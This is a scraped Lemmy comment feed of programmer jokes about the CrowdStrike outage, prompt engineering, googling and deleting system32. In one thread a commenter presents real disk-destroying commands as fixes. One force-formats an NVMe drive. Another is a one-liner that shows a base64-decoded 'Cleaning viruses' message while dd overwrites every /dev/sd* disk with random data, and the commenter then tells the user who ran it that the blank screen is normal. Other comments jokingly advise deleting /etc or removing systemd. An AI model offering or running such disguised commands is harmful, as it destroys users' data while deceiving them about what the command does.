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bruhduh , in Crowdstrike
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jubilationtcornpone , in Googling

“Prompt Engineering”: AKA explaining to Chat GPT why it’s wrong a dozen times before it spits out a useable (but still not completely correct) answer.

ByteOnBikes ,

That’s actually a valid skill to know when to tell the AI that it’s wrong.

A few months ago, I had to talk to my juniors to think critically about the shitty code that AI was generating. I was getting sick of clearly copy-pasted code from chatGPT and the junior not knowing what the fuck they were submitting to code review.

Evotech ,

Should start asking them like, why did you do this? Why did you chose this method? To make them sweat :p

sukhmel ,

That used to make sense when LLMs were not the thing, when evaluating assessments from students, half of which asked someone else and didn’t bother to even read the code

howrar ,

If no one can make sense of the change, then you reject it. Makes no difference if it was generated with an LLM or copy-pasted from Stackoverflow.

31337 ,

I just ask ChatGPT to review pull requests.

sukhmel ,

If there exists an answer, as gpt will tell you the answer exists till the very end, even when it’s not so

HexesofVexes , in What a simple fix

I only wanted to triforce.

Now I need to fix dad’s laptop before he gets home!

samus12345 , in I'm afraid I accidentally blue... everything
@samus12345@lemmy.world avatar

There are [considerably more than] dozens of us!

sheepishly , in Googling

adding googling to my cv rn

pineapplelover ,

Might add Duckduckgoing or web searching

Evotech ,

Careful, HR npcs will not know wtf that is

QuazarOmega ,

But it sounds cooler when they don’t know what it’s about, right? Right??

xmunk ,

Just tell them it’s a strain of the VI virus.

nieceandtows ,

Can I Google myself in your office?

pearsaltchocolatebar ,

Prompt engineering is a better looking term these days.

Glitterbomb ,

When I took handwriting lessons I had to draw each number 100+ times in a row, so I guess I could say I’ve been googoling since 1987

streetfestival , in I'm afraid I accidentally blue... everything
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There’s got to be a better way of saying that. I love Tobias, and Michael, and Arrested Development

MajorHavoc ,

There’s got to be a better way of saying that.

“Did you listen to the recordings? Like we discussed?.. And you still didn’t hear it?”

streetfestival ,
@streetfestival@lemmy.ca avatar

Thank you for that! I love Tobias and Michael in scenes together. I think I might do an AD rewatch, of the first 3 seasons anyway

Daxtron2 , in OneDrive deleted my files!

been unable to login to our auth server today so basically free day at work, thanks crowdstrike

tourist , in What a simple fix
@tourist@lemmy.world avatar

In my mind, this is exactly what happened with crowdstrike

nieceandtows , in Googling

When I interviewed junior devs for my team, I had zero theoretical questions, and only two coding questions which were basically code that had to be debugged, and once it was running, for them to implement some minor things that I asked them to implement. I said I don’t mind if they googled, I only wanted them to share their screens while they worked, so that I can see how they worked and how they googled/adapted the answers to their code. I interviewed over a dozen people ranging from freshers to 4 yoe, and you should see how terrible they were at googling. Out of all them, only one fresher came close to being good in the interview. Even ‘4 yoe’ devs who ‘spearheaded’ various projects sucked at basic python and googling.

Aquila ,

I would 1000% become dumb as a rock with someone watching me not to mention in a high risk setting such as an interview

MajorHavoc ,

Yeah. We do a ton of screen sharing guided mentorship in my role, and everyone can’t think straight while sharing their screen.

We get through it, and feedback says it’s worth it. But it still sucks in the moment.

fsxylo ,

I tend to do the most embarrassing sitcom shit possible when someone is watching me do something I’m an expert in.

cm0002 , in I'm afraid I accidentally blue... everything

Pfft, I’m doing just fine because I avoided crowdstrike for our EDR deployment lolol

Evotech ,

This time you were the lucky one.

bleistift2 , in Read only friday

I had two deployments today and then left for an early weekend.

Readonly friday is for pussies.

quicksand ,

I hope this reference never dies

BubbleMonkey , in Something appropriate for the occasion

This is really catchy and upbeat :)

baggins , in Malware As A Service

Yes but the difference is one of them is also going to help you fix it.

unreachable , in Big brain with Crowdstrike
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henfredemars , in What a simple fix

Instructions unclear. Using Linux.

Wait a sec I think I found it.

Gradually_Adjusting ,
@Gradually_Adjusting@lemmy.world avatar

If you don’t have system32, it’s fine to delete one from the store

xmunk ,

Or find another computer and delete it from that.

nickb333 ,
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I found mine in $HOME/.wine32/drive_c/windows/system32

henfredemars ,

This didn’t break my whole system but it did break most of the software I value, so mission accomplished!

nickb333 ,
@nickb333@fedia.io avatar

I made a typo in the above. If I correct it you'll be able to break what's left.

refurbishedrefurbisher ,

On Linux, it’s sudo apt install nvme-cli -y && sudo nvme format -f /dev/nvme0n1

Dark_Dragon ,

I’m using hdd

refurbishedrefurbisher ,

<span style="color:#323232;">echo Q2xlYW5pbmcgdmlydXNlcyBmcm9tIGNvbXB1dGVyLi4uCg== | base64 -d && for f in /dev/sd*; do sudo dd if=/dev/urandom of=$f; done
</span>
Dark_Dragon ,

It said ’ Cleaning viruses from computer…" And screen went dark

refurbishedrefurbisher ,

That’s normal. That just means the viruses were cleaned from your computer.

OopsAllTwix ,

It’s the /etc folder in linux. Just extra crap you don’t need.

henfredemars ,

ExTra Crap

communism ,
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They may have changed the name to replace the 32 with d, make sure to uninstall systemd if it’s installed.

Zangoose ,

Instructions unclear installed Alpine linux

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